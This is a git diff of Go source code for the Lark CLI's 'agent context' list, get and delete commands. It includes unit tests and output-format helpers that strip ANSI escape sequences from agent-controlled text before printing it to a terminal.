return agentContextDeleteRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认删除(高危操作,不加则返回 exit 10)")
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
addAsFlag(cmd, f, &opts.As)
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskHighRiskWrite)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// agentContextListRun runs `context list`: resolves the provider, lists contexts
|
||||
// and emits {contexts:[...]} with meta.count.
|
||||
func agentContextListRun(opts *contextOptions) error {
|
||||
f := opts.Factory
|
||||
p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Capability gate before the API call: multi_turn is derived from ListContexts
|
||||
// being wired, so a provider without it returns unsupported_capability.
|
||||
if p.ListContexts == nil {
|
||||
return capabilityError(opts.Ref, "context list", iagent.CapMultiTurn)
|
||||
}
|
||||
// Local scope preflight: after resolveProvider, before the API call.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
contexts, err := p.ListContexts(opts.Cmd.Context())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// pretty is a human view only; a --jq expression implies structured JSON.
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
printContextsTSV(f.IOStreams.Out, contexts)
|
||||
return nil
|
||||
}
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(id),
|
||||
Data: map[string]interface{}{"contexts": contexts},
|
||||
Meta: &output.Meta{Count: len(contexts)},
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// agentContextGetRun runs `context get`: resolves the provider, fetches the
|
||||
// context detail and emits it.
|
||||
func agentContextGetRun(opts *contextOptions) error {
|
||||
f := opts.Factory
|
||||
p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Capability gate before the API call.
|
||||
if p.GetContext == nil {
|
||||
return capabilityError(opts.Ref, "context get", iagent.CapMultiTurn)
|
||||
}
|
||||
// Local scope preflight: after resolveProvider, before the API call.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
detail, err := p.GetContext(opts.Cmd.Context(), opts.CtxID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if detail != nil {
|
||||
// Derive IsTerminal from State (single source of truth) for the embedded
|
||||
// task summaries before emission.
|
||||
detail.Tasks = normalizeTaskSummaries(detail.Tasks)
|
||||
}
|
||||
// pretty is a human view only; a --jq expression implies structured JSON.
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
printContextDetailPretty(f.IOStreams.Out, detail)
|
||||
return nil
|
||||
}
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(id),
|
||||
Data: detail,
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// agentContextDeleteRun runs `context delete`. The --yes confirmation guard runs
|
||||
// first so a missing confirmation returns confirmation_required (exit 10) before
|
||||
// any provider is built and holds even under a nil Factory. Only a
|
||||
// confirmed delete reaches resolveProvider + DeleteContext.
|
||||
func agentContextDeleteRun(opts *contextOptions) error {
|
||||
if !opts.Yes {
|
||||
return cmdutil.RequireConfirmation("agent context delete")
|
||||
}
|
||||
|
||||
f := opts.Factory
|
||||
p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Capability gate before the API call.
|
||||
if p.DeleteContext == nil {
|
||||
return capabilityError(opts.Ref, "context delete", iagent.CapMultiTurn)
|
||||
}
|
||||
// Local scope preflight: after resolveProvider, before the API call.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := p.DeleteContext(opts.Cmd.Context(), opts.CtxID); err != nil {
|
||||
return err
|
||||
}
|
||||
// pretty is a human view only; a --jq expression implies structured JSON.
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
fmt.Fprintf(f.IOStreams.Out, "context_id: %s\ndeleted: true\n", kvValue(opts.CtxID))
|
||||
return nil
|
||||
}
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(id),
|
||||
Data: map[string]interface{}{"context_id": opts.CtxID, "deleted": true},
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
408
cmd/agent/context_test.go
Normal file
408
cmd/agent/context_test.go
Normal file
@@ -0,0 +1,408 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/httpmock"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// contextCmdCtx builds a `lark-cli agent context <leaf>` command whose --as flag
|
||||
// is set to bot so ResolveAs honors it verbatim, and carries a context.
|
||||
func contextCmdCtx(t *testing.T, leaf string) *cobra.Command {
|
||||
t.Helper()
|
||||
root := &cobra.Command{Use: "lark-cli"}
|
||||
group := &cobra.Command{Use: "agent"}
|
||||
grp := &cobra.Command{Use: "context"}
|
||||
l := &cobra.Command{Use: leaf}
|
||||
root.AddCommand(group)
|
||||
group.AddCommand(grp)
|
||||
grp.AddCommand(l)
|
||||
l.Flags().String("as", "", "identity")
|
||||
if err := l.Flags().Set("as", "bot"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
l.SetContext(context.Background())
|
||||
return l
|
||||
}
|
||||
|
||||
// contextTestOpts wires a contextOptions against a real (test) Factory,
|
||||
// addressing the scripted fakeflow agent agt_x under a bot identity. The
|
||||
// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
|
||||
// test; provider behavior is scripted via setScripted.
|
||||
func contextTestOpts(t *testing.T, leaf string) (*contextOptions, *httpmock.Registry) {
|
||||
t.Helper()
|
||||
registerScripted()
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, reg := cmdutil.TestFactory(t, cfg)
|
||||
return &contextOptions{
|
||||
Factory: f,
|
||||
Cmd: contextCmdCtx(t, leaf),
|
||||
Ref: "fakeflow:agt_x",
|
||||
As: "bot",
|
||||
}, reg
|
||||
}
|
||||
|
||||
// TestContextDeleteRequiresYes pins that `context delete` without --yes is a
|
||||
// confirmation_required error (exit 10), raised before any provider is built.
|
||||
func TestContextDeleteRequiresYes(t *testing.T) {
|
||||
err := agentContextDeleteRun(&contextOptions{Ref: "example:agt_x", CtxID: "c1", Yes: false})
|
||||
if err == nil {
|
||||
t.Fatal("context delete without --yes should report confirmation_required")
|
||||
}
|
||||
if !errs.IsConfirmationRequired(err) {
|
||||
t.Fatalf("should be a confirmation_required error, got %T", err)
|
||||
}
|
||||
if code := output.ExitCodeOf(err); code != output.ExitConfirmationRequired {
|
||||
t.Fatalf("exit code should be 10, got %d", code)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
|
||||
t.Fatalf("subtype should be confirmation_required, got %+v", p)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextDeleteWithYes pins the confirmed path: --yes reaches the provider,
|
||||
// deletes the session, and emits a success envelope.
|
||||
func TestContextDeleteWithYes(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "delete")
|
||||
opts.CtxID = "sess_1"
|
||||
opts.Yes = true
|
||||
var deleted string
|
||||
setScripted(t, scriptedHooks{deleteContext: func(ctxID string) error {
|
||||
deleted = ctxID
|
||||
return nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentContextDeleteRun(opts); err != nil {
|
||||
t.Fatalf("context delete --yes should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
if data["context_id"] != "sess_1" || data["deleted"] != true {
|
||||
t.Errorf("data should echo {context_id, deleted:true}, got %v", env.Data)
|
||||
}
|
||||
if deleted != "sess_1" {
|
||||
t.Errorf("provider should receive the context id to delete, got %q", deleted)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextDeleteProviderError surfaces a provider DeleteContext failure
|
||||
// (non-zero business code) after --yes passes.
|
||||
func TestContextDeleteProviderError(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "delete")
|
||||
opts.CtxID = "sess_1"
|
||||
opts.Yes = true
|
||||
setScripted(t, scriptedHooks{deleteContext: func(string) error {
|
||||
return errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
|
||||
}})
|
||||
if err := agentContextDeleteRun(opts); err == nil {
|
||||
t.Fatal("a DeleteContext error should propagate")
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextDeleteInvalidRef surfaces a malformed ref as a validation error
|
||||
// after the --yes confirmation guard passes.
|
||||
func TestContextDeleteInvalidRef(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
err := agentContextDeleteRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Yes: true, Cmd: contextCmdCtx(t, "delete"), As: "bot", Factory: f})
|
||||
if err == nil {
|
||||
t.Fatal("malformed ref should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListEmitsContexts pins that `context list` returns
|
||||
// {contexts:[...]} with a meta.count.
|
||||
func TestContextListEmitsContexts(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "list")
|
||||
setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
|
||||
return []iagent.ContextSummary{
|
||||
{ContextID: "sess_1", Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
|
||||
{ContextID: "sess_2"},
|
||||
}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentContextListRun(opts); err != nil {
|
||||
t.Fatalf("context list should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
contexts, ok := data["contexts"].([]interface{})
|
||||
if !ok || len(contexts) != 2 {
|
||||
t.Fatalf("data.contexts should have 2 entries, got %v", data["contexts"])
|
||||
}
|
||||
if env.Meta == nil || env.Meta.Count != 2 {
|
||||
t.Errorf("meta.count should be 2, got %+v", env.Meta)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListError surfaces a provider ListContexts failure.
|
||||
func TestContextListError(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "list")
|
||||
setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
|
||||
return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
|
||||
}})
|
||||
if err := agentContextListRun(opts); err == nil {
|
||||
t.Fatal("a ListContexts error should propagate")
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListInvalidRef surfaces a malformed ref as a validation error.
|
||||
func TestContextListInvalidRef(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
err := agentContextListRun(&contextOptions{Ref: "no-colon", Cmd: contextCmdCtx(t, "list"), As: "bot", Factory: f})
|
||||
if err == nil {
|
||||
t.Fatal("malformed ref should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextGetEmitsDetail pins that `context get` returns a single context
|
||||
// detail.
|
||||
func TestContextGetEmitsDetail(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "get")
|
||||
opts.CtxID = "sess_1"
|
||||
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
|
||||
return &iagent.ContextDetail{ContextID: ctxID, Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentContextGetRun(opts); err != nil {
|
||||
t.Fatalf("context get should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
if data["context_id"] != "sess_1" {
|
||||
t.Errorf("data.context_id should be sess_1, got %v", data["context_id"])
|
||||
}
|
||||
if data["title"] != "销售分析" {
|
||||
t.Errorf("data.title should be echoed, got %v", data["title"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextGetError surfaces a provider GetContext failure.
|
||||
func TestContextGetError(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "get")
|
||||
opts.CtxID = "sess_1"
|
||||
setScripted(t, scriptedHooks{getContext: func(string) (*iagent.ContextDetail, error) {
|
||||
return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
|
||||
}})
|
||||
if err := agentContextGetRun(opts); err == nil {
|
||||
t.Fatal("a GetContext error should propagate")
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextGetInvalidRef surfaces a malformed ref as a validation error.
|
||||
func TestContextGetInvalidRef(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
err := agentContextGetRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Cmd: contextCmdCtx(t, "get"), As: "bot", Factory: f})
|
||||
if err == nil {
|
||||
t.Fatal("malformed ref should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListWithJq exercises the --jq output branch for list.
|
||||
func TestContextListWithJq(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "list")
|
||||
opts.Cmd.Flags().String("jq", ".data.contexts | length", "")
|
||||
setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
|
||||
return []iagent.ContextSummary{{ContextID: "sess_1"}}, nil
|
||||
}})
|
||||
if err := agentContextListRun(opts); err != nil {
|
||||
t.Fatalf("context list --jq should not error: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListPretty exercises the --format pretty human-view branch for
|
||||
// list: header TSV rows (not a JSON envelope), with the agent-controlled Title
|
||||
// stripped of ANSI escapes.
|
||||
func TestContextListPretty(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "list")
|
||||
opts.Format = "pretty"
|
||||
setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
|
||||
return []iagent.ContextSummary{
|
||||
{ContextID: "sess_1", Title: "\x1b[2J销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
|
||||
}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
if err := agentContextListRun(opts); err != nil {
|
||||
t.Fatalf("context list --format pretty should not error: %v", err)
|
||||
}
|
||||
s := string(out.Bytes())
|
||||
if !strings.HasPrefix(s, "CONTEXT_ID\tCREATED_AT\tTITLE\n") {
|
||||
t.Errorf("pretty output should start with a header row, got %q", s)
|
||||
}
|
||||
if !strings.Contains(s, "sess_1") || !strings.Contains(s, "销售分析") {
|
||||
t.Errorf("pretty output should contain context_id and title, got %q", s)
|
||||
}
|
||||
if strings.Contains(s, "\x1b") {
|
||||
t.Errorf("ANSI sequences in Title must be stripped: %q", s)
|
||||
}
|
||||
if strings.Contains(s, `"ok"`) {
|
||||
t.Errorf("pretty output should be a human view, not a JSON envelope, got %q", s)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextGetWithJq pins the added --jq flag on context get: the envelope is
|
||||
// filtered through the jq expression.
|
||||
func TestContextGetWithJq(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "get")
|
||||
opts.CtxID = "sess_1"
|
||||
opts.Cmd.Flags().String("jq", "", "")
|
||||
if err := opts.Cmd.Flags().Set("jq", ".data.context_id"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
|
||||
return &iagent.ContextDetail{ContextID: ctxID}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
if err := agentContextGetRun(opts); err != nil {
|
||||
t.Fatalf("context get --jq should not error: %v", err)
|
||||
}
|
||||
got := strings.TrimSpace(string(out.Bytes()))
|
||||
if !strings.Contains(got, "sess_1") || strings.Contains(got, `"ok"`) {
|
||||
t.Errorf("--jq .data.context_id should output only the filtered result, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextGetPretty pins the added --format pretty branch on context get:
|
||||
// key: value lines with the tasks count, title ANSI-stripped.
|
||||
func TestContextGetPretty(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "get")
|
||||
opts.CtxID = "sess_1"
|
||||
opts.Format = "pretty"
|
||||
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
|
||||
return &iagent.ContextDetail{
|
||||
ContextID: ctxID, Title: "\x1b[31m销售分析\x1b[0m",
|
||||
Tasks: []iagent.TaskSummary{{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}},
|
||||
}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
if err := agentContextGetRun(opts); err != nil {
|
||||
t.Fatalf("context get --format pretty should not error: %v", err)
|
||||
}
|
||||
s := string(out.Bytes())
|
||||
for _, want := range []string{"context_id: sess_1", "title: 销售分析", "tasks: 1"} {
|
||||
if !strings.Contains(s, want) {
|
||||
t.Errorf("pretty output should contain %q, got %q", want, s)
|
||||
}
|
||||
}
|
||||
if strings.Contains(s, "\x1b") {
|
||||
t.Errorf("ANSI sequences in title must be stripped: %q", s)
|
||||
}
|
||||
}
|
||||
|
||||
// findSub returns the direct subcommand of cmd whose Name() == name, or nil.
|
||||
func findSub(cmd *cobra.Command, name string) *cobra.Command {
|
||||
for _, c := range cmd.Commands() {
|
||||
if c.Name() == name {
|
||||
return c
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// TestNewCmdAgentContext_GroupHasSubcommands pins the group is a pure group (no
|
||||
// RunE) with list/get/delete leaves.
|
||||
func TestNewCmdAgentContext_GroupHasSubcommands(t *testing.T) {
|
||||
cmd := NewCmdAgentContext(nil)
|
||||
if cmd.RunE != nil || cmd.Run != nil {
|
||||
t.Error("agent context group should not have RunE")
|
||||
}
|
||||
want := []string{"list", "get", "delete"}
|
||||
for _, name := range want {
|
||||
if findSub(cmd, name) == nil {
|
||||
t.Errorf("missing subcommand context %s", name)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentContextList_ReadRisk pins list = read risk, ExactArgs(1), and
|
||||
// the default flip: --format defaults to json.
|
||||
func TestNewCmdAgentContextList_ReadRisk(t *testing.T) {
|
||||
cmd := NewCmdAgentContextList(nil)
|
||||
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
|
||||
t.Errorf("context list should be marked read risk, got level=%q ok=%v", level, ok)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{}); err == nil {
|
||||
t.Error("context list missing ref should report an argument error (ExactArgs 1)")
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
|
||||
t.Errorf("context list with a single ref should be valid: %v", err)
|
||||
}
|
||||
fl := cmd.Flags().Lookup("format")
|
||||
if fl == nil || fl.DefValue != "json" {
|
||||
t.Errorf("context list --format default should flip to json, got %+v", fl)
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentContextGet_ReadRisk pins get = read risk, ExactArgs(2), and
|
||||
// the added --format / --jq flags.
|
||||
func TestNewCmdAgentContextGet_ReadRisk(t *testing.T) {
|
||||
cmd := NewCmdAgentContextGet(nil)
|
||||
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
|
||||
t.Errorf("context get should be marked read risk, got level=%q ok=%v", level, ok)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
|
||||
t.Error("context get missing ctx-id should report an argument error (ExactArgs 2)")
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example:x", "c1"}); err != nil {
|
||||
t.Errorf("context get ref+ctx-id should be valid: %v", err)
|
||||
}
|
||||
for _, name := range []string{"format", "jq"} {
|
||||
if cmd.Flags().Lookup(name) == nil {
|
||||
t.Errorf("context get should have a --%s flag", name)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentContextDelete_HighRiskWrite pins delete = high-risk-write risk,
|
||||
// ExactArgs(2), a --yes flag, and the added --format / --jq flags.
|
||||
func TestNewCmdAgentContextDelete_HighRiskWrite(t *testing.T) {
|
||||
cmd := NewCmdAgentContextDelete(nil)
|
||||
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskHighRiskWrite {
|
||||
t.Errorf("context delete should be marked high-risk-write risk, got level=%q ok=%v", level, ok)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
|
||||
t.Error("context delete missing ctx-id should report an argument error (ExactArgs 2)")
|
||||
}
|
||||
if cmd.Flags().Lookup("yes") == nil {
|
||||
t.Error("context delete should have a --yes flag")
|
||||
}
|
||||
for _, name := range []string{"format", "jq"} {
|
||||
if cmd.Flags().Lookup(name) == nil {
|
||||
t.Errorf("context delete should have a --%s flag", name)
|
||||
}
|
||||
}
|
||||
}
|
||||
183
cmd/agent/format.go
Normal file
183
cmd/agent/format.go
Normal file
@@ -0,0 +1,183 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
// This file holds the --format surface shared by every agent leaf: value
|
||||
// validation, the pretty renderers (task key:value view, list
|
||||
// header-TSV views) with ANSI stripping for agent-controlled text, and the
|
||||
// arg-count validators that wrap cobra's bare "accepts N arg(s)" into a typed
|
||||
// validation error carrying a 用法 hint.
|
||||
package agent
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/validate"
|
||||
)
|
||||
|
||||
// formatFlagHelp is the uniform --format help text across every agent leaf
|
||||
// (json is the tree-wide default, pretty the human opt-in).
|
||||
const formatFlagHelp = "output format: json (default) | pretty"
|
||||
|
||||
// validateFormat rejects any --format outside json|pretty as a
|
||||
// validation/invalid_argument error (exit 2). The empty string is accepted for
|
||||
// options structs built directly in tests; the registered flag default is
|
||||
// "json" so a CLI invocation never passes "".
|
||||
func validateFormat(format string) error {
|
||||
switch format {
|
||||
case "", "json", "pretty":
|
||||
return nil
|
||||
}
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"不支持的 --format 值 %q", format).
|
||||
WithParam("--format").
|
||||
WithHint("合法值: json | pretty")
|
||||
}
|
||||
|
||||
// stripANSI sanitizes agent-controlled text before it is written raw to a
|
||||
// terminal by a pretty renderer, preventing terminal escape-sequence injection.
|
||||
// It delegates to validate.SanitizeForTerminal, which is a superset of the
|
||||
// mandated CSI regex:
|
||||
// it also drops OSC sequences, bare ESC / C0 control bytes and dangerous
|
||||
// Unicode. JSON output paths must NOT use this — programmatic consumers get
|
||||
// the raw data.
|
||||
func stripANSI(s string) string {
|
||||
return validate.SanitizeForTerminal(s)
|
||||
}
|
||||
|
||||
// kvValue sanitizes an agent-controlled value for a single-line "key: value"
|
||||
// pretty row: ANSI-stripped, then \n/\t collapsed to single spaces —
|
||||
// SanitizeForTerminal deliberately preserves those, so without this a value
|
||||
// like "done\nstate: completed" would forge an adjacent field row. TSV
|
||||
// renderers keep plain stripANSI under their documented no-escape exemption.
|
||||
func kvValue(s string) string {
|
||||
s = stripANSI(s)
|
||||
s = strings.ReplaceAll(s, "\n", " ")
|
||||
return strings.ReplaceAll(s, "\t", " ")
|
||||
}
|
||||
|
||||
// truncateRunes caps s at max runes, appending an ellipsis when truncated.
|
||||
func truncateRunes(s string, max int) string {
|
||||
r := []rune(s)
|
||||
if len(r) <= max {
|
||||
return s
|
||||
}
|
||||
return string(r[:max]) + "…"
|
||||
}
|
||||
|
||||
// firstTextOf returns the first text Part carried by the task's messages
|
||||
// (the first text message), or "".
|
||||
func firstTextOf(task *iagent.AgentTask) string {
|
||||
for _, m := range task.Messages {
|
||||
for _, p := range m.Parts {
|
||||
if p.Type == "text" && p.Text != "" {
|
||||
return p.Text
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// printTaskPretty renders the task-class pretty view: line-per-field
|
||||
// key: value with state / task_id / context_id / first text message truncated
|
||||
// to 120 runes / artifacts count. Every agent-controlled string goes through
|
||||
// kvValue (ANSI strip + newline/tab neutralization) so it can neither inject
|
||||
// terminal sequences nor forge an adjacent field row.
|
||||
func printTaskPretty(w io.Writer, task *iagent.AgentTask) {
|
||||
if task == nil {
|
||||
fmt.Fprintln(w, "(no task)")
|
||||
return
|
||||
}
|
||||
fmt.Fprintf(w, "state: %s\n", task.State)
|
||||
fmt.Fprintf(w, "task_id: %s\n", kvValue(task.TaskID))
|
||||
if task.ContextID != "" {
|
||||
fmt.Fprintf(w, "context_id: %s\n", kvValue(task.ContextID))
|
||||
}
|
||||
if text := firstTextOf(task); text != "" {
|
||||
fmt.Fprintf(w, "text: %s\n", truncateRunes(kvValue(text), 120))
|
||||
}
|
||||
fmt.Fprintf(w, "artifacts: %d\n", len(task.Artifacts))
|
||||
}
|
||||
|
||||
// TSV renderers below intentionally do not escape tab/newline in cell values:
|
||||
// a value containing them breaks the column layout. The agent's primary
|
||||
// consumption surface is json; pretty is for human inspection only, so leaving
|
||||
// them unescaped is acceptable.
|
||||
|
||||
// printTaskSummariesTSV renders the list-class pretty view for tasks:
|
||||
// a header row naming the json fields, then one row per task.
|
||||
func printTaskSummariesTSV(w io.Writer, tasks []iagent.TaskSummary) {
|
||||
fmt.Fprintf(w, "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL\n")
|
||||
for _, t := range tasks {
|
||||
fmt.Fprintf(w, "%s\t%s\t%s\t%t\n", stripANSI(t.TaskID), stripANSI(t.ContextID), t.State, t.IsTerminal)
|
||||
}
|
||||
}
|
||||
|
||||
// printContextsTSV renders the list-class pretty view for contexts. The
|
||||
// Title is agent-controlled and must be ANSI-stripped.
|
||||
func printContextsTSV(w io.Writer, contexts []iagent.ContextSummary) {
|
||||
fmt.Fprintf(w, "CONTEXT_ID\tCREATED_AT\tTITLE\n")
|
||||
for _, c := range contexts {
|
||||
fmt.Fprintf(w, "%s\t%s\t%s\n", stripANSI(c.ContextID), c.CreatedAt, stripANSI(c.Title))
|
||||
}
|
||||
}
|
||||
|
||||
// printContextDetailPretty renders `context get --format pretty` as key: value
|
||||
// lines with the tasks count; the agent-controlled Title (and the id) go
|
||||
// through kvValue so they cannot forge adjacent field rows.
|
||||
func printContextDetailPretty(w io.Writer, detail *iagent.ContextDetail) {
|
||||
if detail == nil {
|
||||
fmt.Fprintln(w, "(no context)")
|
||||
return
|
||||
}
|
||||
fmt.Fprintf(w, "context_id: %s\n", kvValue(detail.ContextID))
|
||||
if detail.CreatedAt != "" {
|
||||
fmt.Fprintf(w, "created_at: %s\n", detail.CreatedAt)
|
||||
}
|
||||
if detail.Title != "" {
|
||||
